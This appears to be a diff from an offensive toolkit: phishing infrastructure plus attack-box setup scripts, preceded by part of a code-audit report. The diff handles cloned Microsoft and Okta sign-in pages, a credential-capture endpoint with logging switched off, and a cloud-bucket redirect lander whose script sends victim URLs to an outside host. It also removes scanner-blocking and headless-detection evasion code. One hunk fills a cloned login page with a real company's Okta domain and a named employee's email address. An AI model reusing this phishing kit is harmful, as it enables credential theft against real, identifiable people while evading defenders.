+      instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
+      total_cost += node_cost(provider, instance, hours)
+  ```
+
+  **Impact**: Cost estimates 1.5-2x too high for non-aligned IP counts; may oversell capacity planning.
+
+- [ ] **[MEDIUM] [node_scanner.py:225-239]** Import inside function — `import yaml` at line 232 | Sources: code-auditor | Effort: XS | Status: NOT FIXED
+
+  **Description**: `import yaml` appears inside `scan_geo_scout()` function. Move to top-level imports for clarity and consistency.
+
+  **Fix**: Add `import yaml` to line 16 (after `ET` import), remove line 232.
+
+---
+
+### P3 — Fix This Month
+
+- [ ] **[MEDIUM] [node_scanner.py:21-23]** `print()` in production code — `log()` function uses `print()` | Sources: code-auditor | Effort: S | Status: NOT FIXED
+
+  **Description**: Line 23 calls `print()` directly. Should use Python `logging` module or Rich (per c2itall style guide).
+
+  **Fix**: Replace `log()` function with logging.info or Rich console output for consistency.
+
+- [ ] **[LOW] [node_scanner.py:139-192]** Unused parameter `node_name` — passed to all scan_* functions but never used | Sources: code-auditor | Effort: XS | Status: NOT FIXED
+
+  **Description**: Parameter `node_name` appears in `scan_masscan_only()`, `scan_nmap_only()`, `scan_masscan_nmap()`, `scan_geo_scout()` signatures but is not referenced in function bodies. These functions don't write node metadata to results.
+
+  **Assessment**: Intentionally kept for interface consistency (caller always passes it, avoids conditional logic).
+
+  **Fix**: Document as "reserved for future node metadata logging" or remove for clarity. Non-blocking.
+
+- [ ] **[LOW] [provider_rates.py:76-88]** Comment ambiguity — Tor multiplier description misleading | Sources: code-auditor | Effort: XS | Status: NOT FIXED
+
+  **Description**: Line 86 comment says "Tor adds ~5x latency overhead" but line 88 sets `TOR_RATE_MULTIPLIER = 0.2` (which is 1/5, not 5x). Comment is correct in spirit but confusingly worded.
+
+  **Fix**: Change comment to "Tor reduces throughput to 1/5 (0.2x)" or "multiplier 0.2 ≈ 5x latency".
+
+---
+
+### P4 — Backlog
+
+- [ ] **[LOW] [provider_rates.py:57]** Magic number 0.018 — Linode default rate hardcoded | Status: NOT FIXED
+
+  **Description**: Line 7 (`'g6-standard-2': 0.018`) and line 67 (fallback rate) hardcode 0.018. Should be named constant.
+
+  **Fix**: Add `DEFAULT_INSTANCE_RATE = 0.018` and reference it.
+
+- [ ] **[LOW] [node_scanner.py]** Missing docstrings — module + function docstrings absent | Status: NOT FIXED
+
+  **Description**: Module docstring present (line 2-4) but individual functions lack docstrings. Low impact — code is self-documenting.
+
+---
+
+## Deduplication Notes
+
+- **Socket leak risk (probe_service)**: Marked as false alarm in code-auditor; context manager guarantees cleanup. No action needed.
+- **Thread safety (run_nmap concurrent writes)**: Verified safe — per-IP XML files unique (`nmap_{ip.replace('.', '_')}.xml`). No collision risk.
+- **XXE/entity expansion in ET.parse()**: PASS — ET default config disables external entity expansion. nmap output is trusted. No action needed.
+- **Resource exhaustion (socket connections)**: MEDIUM severity in security-auditor. Noted as acceptable risk for current sequential structure. ThreadPoolExecutor 10-worker design with 3-second socket timeout is within system limits. Semaphore capping recommended for future scaling but not blocking.
+
+---
+
+## Action Items
+
+### Critical Path (Block #980 deployment):
+1. **run_scan.yml**: Convert Ansible `command:` module to list form OR validate node_name upstream
+2. **provider_rates.py**: Fix partial-chunk cost calculation in `build_estimate_table()`
+
+### Nice-to-have (P3-P4):
+- Move `import yaml` to top level
+- Replace `print()` with logging/Rich
+- Add Tor multiplier comment clarity
+- Extract 0.018 magic number to constant
+
+---
+
+## Test Coverage
+
+- Unit tests for `estimate_scan_hours()` with partial chunks should verify cost accuracy
+- Ansible playbook syntax validation required for run_scan.yml
+- Manual integration test with non-aligned IP count (e.g., 2.5M across 2M presets)
+
@@ -172,7 +172,7 @@ def gather_attack_box_parameters(attack_box_type="kali"):
    
    if config['enhanced_opsec']:
        print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
-        print(f"  • Working directory: /root/{config['deployment_id']} (not 'operator')")
+        print(f"  • Working directory: /root/{config['deployment_id']} (not 'dmealey')")
        print(f"  • No 'trashpanda' references in files or aliases")
        print(f"  • Generic script names and comments")
        print(f"  • Minimal logging and history")
@@ -182,9 +182,9 @@ def gather_attack_box_parameters(attack_box_type="kali"):
        config['project_name'] = config['deployment_id']
    else:
        print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
-        config['work_dir'] = "/root/operator"
+        config['work_dir'] = "/root/dmealey"
        config['tool_name'] = "trashpanda"
-        config['project_name'] = "operator"
+        config['project_name'] = "dmealey"
    
    # Check for global auto-teardown flag
    global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
@@ -3,9 +3,9 @@

 # Attack Box Setup Information
 ATTACK_BOX_VERSION="1.0.0"
-WORKSPACE_DIR="/root/operator"
-SCRIPTS_DIR="/root/operator/tools/scripts"
-TOOLS_DIR="/root/operator/tools"
+WORKSPACE_DIR="/root/dmealey"
+SCRIPTS_DIR="/root/dmealey/tools/scripts"
+TOOLS_DIR="/root/dmealey/tools"

 # Available Commands
 echo "Attack Box Commands:"
@@ -14,23 +14,23 @@ echo "recon <target>          - Run reconnaissance automation"
 echo "portscan <target>       - Run port scan automation"  
 echo "webenum <target>        - Run web enumeration automation"
 echo "attack-menu             - Launch manual testing menu"
-echo "operator                 - Change to main directory"
-echo "mkoperator <name>        - Create new engagement structure"
+echo "dmealey                 - Change to main directory"
+echo "mkdmealey <name>        - Create new engagement structure"
 echo ""
 echo "Workspace Structure:"
 echo "==================="
-echo "~/operator/tools/        - All security tools and scripts"
-echo "~/operator/scans/        - All scan results organized by type"
-echo "~/operator/loot/         - Extracted data and credentials"
-echo "~/operator/targets/      - Target lists and reconnaissance"
-echo "~/operator/notes/        - Manual notes and observations"
-echo "~/operator/reports/      - Documentation and reporting"
-echo "~/operator/exploits/     - Working exploits and POCs"
-echo "~/operator/payloads/     - Custom payloads and shells"
-echo "~/operator/wordlists/    - Custom and downloaded wordlists"
-echo "~/operator/pcaps/        - Network captures and analysis"
+echo "~/dmealey/tools/        - All security tools and scripts"
+echo "~/dmealey/scans/        - All scan results organized by type"
+echo "~/dmealey/loot/         - Extracted data and credentials"
+echo "~/dmealey/targets/      - Target lists and reconnaissance"
+echo "~/dmealey/notes/        - Manual notes and observations"
+echo "~/dmealey/reports/      - Documentation and reporting"
+echo "~/dmealey/exploits/     - Working exploits and POCs"
+echo "~/dmealey/payloads/     - Custom payloads and shells"
+echo "~/dmealey/wordlists/    - Custom and downloaded wordlists"
+echo "~/dmealey/pcaps/        - Network captures and analysis"
 echo ""
 echo "Trashpanda-style Directory Structure:"
 echo "====================================="
-echo "The operator directory follows the exact structure as TrashPanda tool"
+echo "The dmealey directory follows the exact structure as TrashPanda tool"
 echo "with organized subdirectories for different scan types and data."
@@ -2,8 +2,8 @@
 # Attack Box - Git Repositories Cloning Script
 # Clones security tool repositories with enhanced feedback

-# Get OPERATOR_DIR from environment or use default
-OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
+# Get DMEALEY_DIR from environment or use default
+DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"

 echo "================================================================"
 echo "GIT REPOSITORIES CLONING STARTED"
@@ -61,8 +61,8 @@ FAILED=0
 SUCCESS=0

 # Create git directory if it doesn't exist
-mkdir -p "$OPERATOR_DIR/tools/git"
-cd "$OPERATOR_DIR/tools/git"
+mkdir -p "$DMEALEY_DIR/tools/git"
+cd "$DMEALEY_DIR/tools/git"

 for i in "${!REPOS[@]}"; do
  CURRENT=$((CURRENT + 1))
@@ -117,6 +117,6 @@ echo "Failed: $FAILED"
 echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
 echo ""
 echo "Cloned repositories:"
-ls -la "$OPERATOR_DIR/tools/git/" | head -20
+ls -la "$DMEALEY_DIR/tools/git/" | head -20

 exit 0
@@ -2,10 +2,10 @@
 # Attack Box - Go Tools Installation Script
 # Installs security tools via go install with enhanced feedback

-# Get OPERATOR_DIR from environment or use default
-OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
+# Get DMEALEY_DIR from environment or use default
+DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"

-export GOPATH="$OPERATOR_DIR/tools/go"
+export GOPATH="$DMEALEY_DIR/tools/go"
 export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
 mkdir -p "$GOPATH"

@@ -237,8 +237,8 @@ automated_recon() {
    echo -ne "Enter target domain/IP: "
    read -r target
    echo -e "${GREEN}[+] Executing recon automation script...${NC}"
-    if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
-        /root/operator/tools/scripts/recon_automation.sh "$target"
+    if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then
+        /root/dmealey/tools/scripts/recon_automation.sh "$target"
    else
        echo -e "${RED}[-] Recon automation script not found!${NC}"
    fi
@@ -252,8 +252,8 @@ automated_port_scan() {
    echo -ne "Enter target IP/range: "
    read -r target
    echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
-    if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
-        /root/operator/tools/scripts/port_scan_automation.sh "$target"
+    if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then
+        /root/dmealey/tools/scripts/port_scan_automation.sh "$target"
    else
        echo -e "${RED}[-] Port scan automation script not found!${NC}"
    fi
@@ -267,8 +267,8 @@ automated_web_enum() {
    echo -ne "Enter target URL: "
    read -r url
    echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
-    if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
-        /root/operator/tools/scripts/web_enum_automation.sh "$url"
+    if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then
+        /root/dmealey/tools/scripts/web_enum_automation.sh "$url"
    else
        echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
    fi
@@ -309,7 +309,7 @@ generate_reports() {
    echo -e "${GREEN}========================================${NC}"
    echo
    
-    WORKSPACE="/root/operator"
+    WORKSPACE="/root/dmealey"
    DATE=$(date +%Y%m%d_%H%M%S)
    REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
    
@@ -385,8 +385,8 @@ if [[ $EUID -eq 0 ]]; then
    sleep 2
 fi

-# Create operator structure if it doesn't exist
-mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
+# Create dmealey structure if it doesn't exist
+mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}

 # Start the main menu
 main
@@ -13,7 +13,7 @@ fi

 TARGET="$1"
 SCAN_TYPE="${2:-quick}"
-WORKSPACE="/root/operator/scans/nmap/$TARGET"
+WORKSPACE="/root/dmealey/scans/nmap/$TARGET"
 DATE=$(date +%Y%m%d_%H%M%S)

 # Colors for output
@@ -11,7 +11,7 @@ if [ $# -eq 0 ]; then
 fi

 TARGET="$1"
-WORKSPACE="/root/operator/scans/reachability/$TARGET"
+WORKSPACE="/root/dmealey/scans/reachability/$TARGET"
 DATE=$(date +%Y%m%d_%H%M%S)

 # Colors for output
@@ -15,8 +15,8 @@ if [ -n "$1" ]; then
    WORK_DIR="$1"
 else
    # Auto-detect working directory
-    if [ -d "/root/operator" ]; then
-        WORK_DIR="/root/operator"
+    if [ -d "/root/dmealey" ]; then
+        WORK_DIR="/root/dmealey"
    else
        # Find deployment-named directory
        WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
@@ -207,7 +207,7 @@ def print_banner():
    """
    print(banner)

-def create_pentest_structure(base_name="/root/operator"):
+def create_pentest_structure(base_name="/root/dmealey"):
    """Create a comprehensive penetration testing directory structure."""
    
    # Main engagement directory
@@ -301,7 +301,7 @@ def create_pentest_structure(base_name="/root/operator"):
        f.write(f"TrashPanda Engagement Log\n")
        f.write(f"========================\n")
        f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
-        f.write(f"Operator: operator\n")
+        f.write(f"Operator: dmealey\n")
        f.write(f"Tool: TrashPanda v2.4\n\n")
    
    # Create initial target file
@@ -3044,7 +3044,7 @@ def generate_summary_report(base_dir):
        f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
        f.write("=" * 80 + "\n\n")
        f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
-        f.write(f"Operator: operator\n")
+        f.write(f"Operator: dmealey\n")
        f.write(f"Engagement Directory: {base_dir}\n\n")
        
        # Enhanced directory structure overview
@@ -3153,7 +3153,7 @@ Examples:
    parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
    
    # Directory options
-    parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator")
+    parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/dmealey")
    parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
    
    # Scan modes
@@ -7,14 +7,14 @@ set -e
 if [ $# -eq 0 ]; then
    echo "Usage: $0 <target_url>"
    echo "Example: $0 https://example.com"
-    echo "         $0 http://10.0.0.100:8080"
+    echo "         $0 http://192.168.1.100:8080"
    exit 1
 fi

 TARGET_URL="$1"
 # Extract domain/IP for workspace naming
 TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
-WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
+WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN"
 DATE=$(date +%Y%m%d_%H%M%S)

 # Colors for output
@@ -8,7 +8,7 @@ import os
 import time
 from pathlib import Path

-def create_workspace_structure(base_name="/root/operator", operator="operator"):
+def create_workspace_structure(base_name="/root/dmealey", operator="operator"):
    """Create a comprehensive penetration testing directory structure like trashpanda."""
    
    # Main engagement directory
@@ -227,7 +227,7 @@ if __name__ == "__main__":
    if len(sys.argv) > 1:
        workspace_name = sys.argv[1]
    else:
-        workspace_name = f"/root/operator"
+        workspace_name = f"/root/dmealey"
    
    operator = getpass.getuser()
    create_workspace_structure(workspace_name, operator)
@@ -468,7 +468,7 @@
      # Add targets one per line in various formats:
      # 
      # Individual IPs:
-      # 10.0.0.10
+      # 192.168.1.10
      # 10.0.0.5
      #
      # IP Ranges:
@@ -157,32 +157,7 @@ def gather_phishing_parameters():
    # Post-deployment options
    config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
    config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
-
-    # Trusted-cloud lander
-    print(f"\n{COLORS['BLUE']}Trusted-Cloud Lander (optional){COLORS['RESET']}")
-    config['use_lander'] = confirm_action("Generate a trusted-cloud lander page?", default=False)
-    if config['use_lander']:
-        config['lander_campaign_id'] = input("Campaign ID (alphanumeric, _ -) [required]: ").strip()
-        if not config['lander_campaign_id']:
-            print(f"{COLORS['RED']}Campaign ID required; skipping lander.{COLORS['RESET']}")
-            config['use_lander'] = False
-        else:
-            print("Provider: 1) GCS  2) S3  3) Azure Blob")
-            _pmap = {'1': 'gcs', '2': 's3', '3': 'azure'}
-            config['lander_provider'] = _pmap.get(input("Select provider [1]: ").strip() or '1', 'gcs')
-            config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
-            if not config['lander_bucket']:
-                print(f"{COLORS['RED']}Bucket required; skipping lander.{COLORS['RESET']}")
-                config['use_lander'] = False
-            else:
-                print("Mode: 1) Simple redirect  2) TDS (random subdomain rotation)")
-                config['lander_mode'] = 'tds' if (input("Select mode [1]: ").strip() == '2') else 'simple'
-                if config['lander_mode'] == 'tds':
-                    raw = input("TDS domains (comma-separated, no scheme) [required]: ").strip()
-                    config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
-                default_redirect = f"https://{config.get('phishing_hostname', config['phishing_domain'])}/login"
-                config['lander_redirect_url'] = input(f"Redirect URL [default: {default_redirect}]: ").strip() or default_redirect
-
+    
    return config

 def phishing_menu():
@@ -441,10 +416,7 @@ def execute_phishing_deployment(config):
    
    if success:
        print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
-
-        from modules.phishing.lander_gen import post_deploy_generate_lander
-        post_deploy_generate_lander(config)
-
+        
        if config.get('ssh_after_deploy'):
            from utils.ssh_utils import ssh_to_instance
            ssh_to_instance(config)
@@ -1,108 +0,0 @@
-#!/usr/bin/env python3
-import re
-import shlex
-from pathlib import Path
-from urllib.parse import urlparse
-from jinja2 import Environment, FileSystemLoader
-
-from utils.common import COLORS
-
-_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
-
-
-def _validate_campaign_id(campaign_id: str) -> str:
-    if not _CAMPAIGN_ID_RE.match(campaign_id):
-        raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
-    return campaign_id
-
-
-def _validate_https_url(url: str, label: str) -> str:
-    parsed = urlparse(url)
-    if parsed.scheme != 'https' or not parsed.netloc:
-        raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
-    return url
-
-
-def post_deploy_generate_lander(config: dict) -> None:
-    if not config.get('use_lander'):
-        return
-
-    campaign_id = _validate_campaign_id(config['lander_campaign_id'])
-    provider = config['lander_provider']
-    mode = config['lander_mode']
-    bucket = config['lander_bucket']
-    redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
-    phishing_hostname = config.get('phishing_hostname', 'phishing.local')
-    js_payload_url = _validate_https_url(
-        f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
-    )
-
-    template_dir = Path(__file__).parent / 'templates'
-    env = Environment(loader=FileSystemLoader(str(template_dir)))
-
-    context = {
-        'tds_enabled': mode == 'tds',
-        'tds_domains': config.get('lander_tds_domains', []),
-        'js_payload_url': js_payload_url,
-        'redirect_url': redirect_url,
-    }
-
-    html_template = env.get_template('cloud-lander.html.j2')
-    js_template = env.get_template('js-payload.js.j2')
-
-    html_content = html_template.render(context)
-    js_content = js_template.render(context)
-
-    out_dir = Path('.')
-    html_file = out_dir / f'lander-{campaign_id}.html'
-    js_file = out_dir / f'js-payload-{campaign_id}.js'
-
-    html_file.write_text(html_content)
-    js_file.write_text(js_content)
-
-    print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
-    print(f"    {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
-    print(f"    {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
-
-    qbucket = shlex.quote(bucket)
-    qhtml = shlex.quote(str(html_file))
-    qjs = shlex.quote(str(js_file))
-
-    if provider == 'gcs':
-        public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
-        upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
-    elif provider == 's3':
-        public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
-        upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
-    elif provider == 'azure':
-        public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
-        upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
-    else:
-        public_url = f"<unknown provider: {provider}>"
-        upload_cmd = "<unknown provider>"
-
-    print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
-    print(f"    {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
-    print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
-    print(f"    {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
-
-    print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
-    webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
-    print(f"    {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
-    # ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
-
-    print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
-
-
-if __name__ == '__main__':
-    test_config = {
-        'use_lander': False,
-        'lander_campaign_id': 'test_001',
-        'lander_provider': 'gcs',
-        'lander_mode': 'simple',
-        'lander_bucket': 'test-bucket',
-        'lander_redirect_url': 'https://phishing.local/login',
-        'phishing_hostname': 'phishing.local',
-    }
-    post_deploy_generate_lander(test_config)
-    print("Self-check passed: disabled lander returned None without errors")
@@ -1,31 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-    <meta charset="UTF-8">
-    <meta name="robots" content="noindex, noarchive">
-    <title>Loading...</title>
-    <script>
-{% if tds_enabled %}
-        (function() {
-            var domains = {{ tds_domains | tojson }};
-            var randomDomain = domains[Math.floor(Math.random() * domains.length)];
-            function makeRandomSub(n) {
-                var r='', c='abcdefghijklmnopqrstuvwxyz0123456789';
-                for(var i=0;i<n;i++) r+=c.charAt(Math.floor(Math.random()*c.length));
-                return r+'.';
-            }
-            var script = document.createElement('script');
-            script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
-            document.head.appendChild(script);
-        })();
-{% else %}
-        (function() {
-            var script = document.createElement('script');
-            script.src = {{ js_payload_url | tojson }} + '?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
-            document.head.appendChild(script);
-        })();
-{% endif %}
-    </script>
-</head>
-<body></body>
-</html>
@@ -1,15 +0,0 @@
-(function() {
-    var u = new URLSearchParams(window.location.search);
-    var src = u.get('u') || '';
-    var dest = {{ redirect_url | tojson }};
-    try {
-        if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
-            var params = new URLSearchParams(new URL(src).search);
-            var rid = params.get('rid') || params.get('RId');
-            if (rid && rid.length <= 128) {
-                dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
-            }
-        }
-    } catch (e) {}
-    window.location.replace(dest);
-})();
@@ -1,51 +1,27 @@
-map $http_user_agent $block_scanner {
-    default 0;
-    ~*Googlebot 1;
-    ~*bingbot 1;
-    ~*Slurp 1;
-    ~*DuckDuckBot 1;
-    ~*Baiduspider 1;
-    ~*YandexBot 1;
-    ~*Sogou 1;
-    ~*Exabot 1;
-    ~*facebot 1;
-    ~*ia_archiver 1;
-    ~*msnbot 1;
-    ~*AhrefsBot 1;
-    ~*SemrushBot 1;
-    ~*MJ12bot 1;
-    ~*DotBot 1;
-    ~*BLEXBot 1;
-    ~*masscan 1;
-    ~*zgrab 1;
-    ~*Shodan 1;
-    ~*censys 1;
-}
-
 server {
    listen 80;
    server_name _;
-
-    add_header X-Robots-Tag "noindex, noarchive";
-
-    if ($block_scanner) { return 444; }
-
+    
    root /var/www/phishing;
    index index.html index.php;
-
+    
    # Disable all logging
    access_log off;
    error_log /dev/null crit;
    
-    # Credential capture — only POST to this exact path
+    # PHP processing
+    location ~ \.php$ {
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+    }
+    
+    # Credential capture endpoint
    location = /capture.php {
        limit_except POST { deny all; }
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    }
-
-    # Deny all other PHP execution
-    location ~ \.php$ { deny all; }
    
    # Template routing
    location /templates/ {
@@ -3,7 +3,6 @@
 <head>
    <title>Sign in to your account</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
-    <meta name="robots" content="noindex, noarchive">
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
@@ -106,16 +105,5 @@
            <a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
        </div>
    </div>
-    <script>
-    (function() {
-        var headless = (
-            navigator.webdriver ||
-            (!window.chrome && /Chrome/.test(navigator.userAgent)) ||
-            navigator.plugins.length === 0 ||
-            /HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
-        );
-        if (headless) { window.location.replace('https://www.microsoft.com'); }
-    })();
-    </script>
 </body>
 </html>
@@ -23,7 +23,7 @@
        }
    </style><title>Zimperium - Sign In</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-    <meta name="robots" content="noindex, nofollow, noarchive" />
+    <meta name="robots" content="noindex,nofollow" />

    <script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
    <link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
@@ -99,7 +99,7 @@

 <!-- hidden form for reposting fromURI for X509 auth -->
 <form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
-    <input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&amp;wa=wsignin1.0&amp;wtrealm=urn%3afederation%3aMicrosoftOnline&amp;wctx="/>
+    <input type="hidden" id="fromURI" name="fromURI" class="hidden" value="&#x2f;app&#x2f;office365&#x2f;exk1ufbfxuFLJp6y3697&#x2f;sso&#x2f;wsfed&#x2f;passive&#x3f;username&#x3d;Brian.Caldwell&#x25;40Zimperium.com&amp;wa&#x3d;wsignin1.0&amp;wtrealm&#x3d;urn&#x25;3afederation&#x25;3aMicrosoftOnline&amp;wctx&#x3d;"/>
 </form>

 <div class="content">
@@ -199,11 +199,11 @@

 <script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
 (function(){
-  var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
+  var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
  var suppliedRedirectUri = '';
  var repost = false;
  var stateToken = '';
-  var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
+  var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
  var username = '';
  var rememberMe = true;
  var smsRecovery = false;
@@ -554,17 +554,5 @@
    applyStyle('login-bg-image', 'bgStyle');
    applyStyle('login-bg-image-ie8', 'bgStyleIE8');
  });
-</script>
-    <script>
-    (function() {
-        var headless = (
-            navigator.webdriver ||
-            (!window.chrome && /Chrome/.test(navigator.userAgent)) ||
-            navigator.plugins.length === 0 ||
-            /HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
-        );
-        if (headless) { window.location.replace('https://www.okta.com'); }
-    })();
-    </script>
-</body>
+</script></body>
 </html>
@@ -3,7 +3,6 @@
 <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <meta name="robots" content="noindex, noarchive">
    <title>{{ page_title | default('Sign in to your account') }}</title>
    <style>
        * {
@@ -191,17 +190,6 @@
        </div>
    </div>
    
-    <script>
-    (function() {
-        var headless = (
-            navigator.webdriver ||
-            (!window.chrome && /Chrome/.test(navigator.userAgent)) ||
-            navigator.plugins.length === 0 ||
-            /HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
-        );
-        if (headless) { window.location.replace('https://www.microsoft.com'); }
-    })();
-    </script>
    <script>
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            e.preventDefault();
@@ -218,7 +206,7 @@
            .then(response => {
                // Redirect after a delay to simulate processing
                setTimeout(() => {
-                    window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
+                    window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
                }, 2000);
            })
            .catch(error => {
@@ -184,21 +184,17 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
            print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}")
            show_header = False
        if key in vars_overrides:
-            value = cast(vars_overrides[key])
-            source = "vars file"
+            tuning[key] = cast(vars_overrides[key])
